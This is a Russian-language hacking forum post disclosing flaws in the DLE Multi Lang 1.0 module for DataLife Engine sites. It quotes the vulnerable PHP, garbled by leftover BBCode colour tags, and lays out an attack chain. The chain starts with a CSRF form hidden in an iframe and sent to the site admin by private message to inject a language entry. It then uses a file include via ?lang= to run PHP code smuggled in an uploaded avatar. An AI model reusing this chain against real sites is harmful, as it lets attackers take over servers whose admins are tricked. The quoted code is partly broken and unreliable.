Показать сообщение отдельно

  #7  
Старый 26.12.2011, 11:04
trololoman96
Участник форума
Регистрация: 01.12.2011
Сообщений: 120
Провел на форуме:
29020

Репутация: 55
По умолчанию

Уязвимость в модуле DLE Multi Lang 1.0

Есть SQL inj в админке, engine\inc\multilang.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]} elseif([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]"addi"[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$alt_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'alt_name'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$skin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'skin'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lang'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO dle_multilang(name, alt_name, skin) VALUES ('[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$alt_name[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$skin[/COLOR][COLOR="#DD0000"]')"[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR
Но сама по себе она почти бесполезна, я нашел для нее более интересное применение Поскольку в админке модуля защита от CSRF не предусмотрена, то пользуемся таким сплойтом, его можно например засунуть в инфрейм своего сайта и скинуть в пм админу.

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]forms[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"form"[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]submit[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]

[/
COLOR]

[/
COLOR
Теперь смотрим дальше, код с engine\modules\multilang.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lang'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM dle_multilang ORDER by id DESC"[/COLOR][COLOR="#007700"]);

while ([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$skin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'skin'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$alt_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'alt_name'[/COLOR][COLOR="#007700"]];

if ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lang'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$alt_name[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'langs'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'skin'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$skin[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lang'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"];

include_once[/COLOR][COLOR="#0000BB"]ROOT_DIR[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/language/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'langs'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]'/website.lng'[/COLOR][COLOR="#007700"];

}

}

}

[/
COLOR][/COLOR
т.е. тут беруться те данные которые мы чуть раньше добавили в админку и инклудяться, например

Код:
http://site.ru/?lang=evil
так мы получим инкуд файла test.txt, для проведения атаки можно заререгать пользователя и залить аватар с нашим php кодом, после чего также проинклудить его
 
Ответить с цитированием